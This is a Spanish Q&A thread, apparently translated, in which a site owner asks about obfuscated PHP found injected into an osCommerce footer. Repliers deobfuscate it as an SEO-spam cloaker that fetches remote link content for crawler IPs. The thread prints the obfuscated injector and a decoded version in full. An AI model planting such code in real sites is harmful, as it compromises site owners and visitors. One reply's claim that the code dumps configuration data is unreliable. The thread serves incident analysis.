2011-05-31 25 views
5

Estoy viendo un sitio que ha sido explotado por alguien/algo. El sitio ha tenido una serie de enlaces inyectados en su pie de página que se vincula a presentaciones farmacéuticas, y quién sabe qué más. Hay/había muchos enlaces justo en la parte superior del pie de página. Solo puedo encontrarlos ahora, en las páginas en caché del índice de Yahoo. Google todavía no está contento con el sitio, y el sitio en vivo ya no muestra ningún enlace. Esto es para un cliente ... así que sé sobre todo lo que me dijeron, y lo que puedo encontrar más sabio.¿Este código es un exploit? ¿Qué es este código?

me encontré con este código en el mismo 'punta/top' de la footer.php (que es un sitio OsCommerse):

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ($x0f = 0; $x0f < $x13($x0e); $x0f++) {$x10 = $x1a($x0e[$x0f]);if ($x10 != ""){ if (($x11 = $x18($x10, "*")) !== false) $x10 = $x19($x10, 0,$x11); if ($x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?> 

Cuando veo las páginas de código almacenado en caché que tienen vínculos del 'malo', este código se ajusta a donde lo encontré en la fuente de footer.php. Una pequeña investigación en google muestra que hay exploits por ahí con código similar.

¿Qué opinas, cuando lo ejecuto en mi propio servidor único que consigue es el comentario de eco en la única fuente de este modo:

<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> 

no quiero que acaba de eliminar a toda prisa el código y diga 'su bien' solo porque se ve mal, especialmente porque no tengo forma inmediata de saber que los 'enlaces malos' se han ido. Por cierto, todos los enlaces van a una URL muerta.

se puede ver las malas páginas todavía en caché en Yahoo: http://74.6.117.48/search/srpcache?ei=UTF-8&p=http%3A%2F%2Fwww.feedroller.com%2F+medicine&fr=yfp-t-701&u=http://cc.bingj.com/cache.aspx?q=http%3a%2f%2fwww.feedroller.com%2f+medicine&d=4746458759365253&mkt=en-US&setlang=en-US&w=b97b0175,d5f14ae5&icp=1&.intl=us&sig=Ifqk1OuvHXNcZnGgPR9PbA--

+0

esto es sólo un conjunto de datos cifrados. – Racooon

+0

Sí, es código de explotación. deliberadamente ofuscado para que sea "difícil" ver lo que hace. Una vez que pasas por las capas de ofuscación, se reducirá a algo como 'eval ($ do_something_nasty)'. –

+4

'echo -n 'primitive' | md5 # => 069c5b4fe5027f9b37de31d2be5eac67' :) – zoul

Respuesta

2

aquí está el guión unobfuscated (más o menos)

es sólo vertido el contenido de this url en su página

También comprueba la remote_addr contra list of IPs (google, et al) para intentar permanecer sin ser detectado.

parece que estás siendo attaced por genshop.com

<?php 

$count="cou\156\x74"; // count 
$error_reporting="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; // error_reporting 
$file="\146\151l\x65"; // file 
$file_get_contents="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; // file_get_contents 
$strlen="\163\x74rle\156"; // strlen 
$strpos="\163tr\160o\x73"; // strpos 
$substr="su\x62\x73\164\162"; // substr 
$trim="tr\151m"; //trim 

ini_set(' display_errors','off'); 
$error_reporting(0); 

$x0b = "http://genshop.org/scripts/mask.txt"; 
$url = $x0b; 
$tmp = "REMOTE_ADDR"; 
$x0d = $_SERVER[$tmp]; 
$tmp_filename = "http://genshop.org/paralinks/new/3/feedroller.com.txt"; 

$IPs = @ $file($url); 
for ($i = 0; $i < $count($IPs); $i++) { 
    $curr_ip = $trim($ips[$i]); 
     if ($curr_ip != "") { 
      if (($x11 = $strpos($curr_ip, "*")) !== false) 
       $curr_ip = $substr($curr_ip, 0,$x11); 

      // check visitor ip against mask list 
      if ($strlen($curr_ip) <= $strlen($x0d) && $strpos($x0d, $curr_ip) === 0) { 
       $x12 = $file_get_content($tmp_filename); 
       echo "$x12"; 
       // print spam contents 
      } 
     } 
    } 
echo $curr_ip; 
} 

$tmp2 = "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076"; 
echo $tmp2; 
?> 
+0

¿Cómo conseguirían eso en la fuente? ¿Es solo un caso de permisos de archivos incorrectos o es un caso de mal alojamiento o ambos? – rhaag71

+0

Supongo que tiene algún script en alguna parte que se escribe en su disco, y es explotable. tal vez y subir el script o algunos cgi fuera de la plataforma que modifica el sistema de archivos? ¿Está ejecutando exec() o system() en algún lugar? Se puede arreglar con mejores permisos, pero sería mejor si encontraras y cerraras el agujero. –

+0

El código de exploit siempre es extraño ... nótese que tienen un código adicional para arreglar el asterisco en su lista de IP de máscara ... ¿por qué no modificar el mask.txt? lol. –

2

mucho es un intento de volcar información sobre su configuración en ejecución. Quítalo de inmediato.

La forma en que funciona es muy complicada y me supera, pero es uno de los primeros pasos para hackear su sitio.

+0

Gracias por la respuesta, me supera. Voy a eliminarlo y volver aquí un poco más tarde. Creo que revisaré toda la fuente e intentaré encontrar más. Gracias – rhaag71

+0

@ rhaag71 probablemente deberías cambiar ftp y cualquier contraseña de inicio de sesión del servidor que tengas, o el mismo tipo puede regresar. – Jordan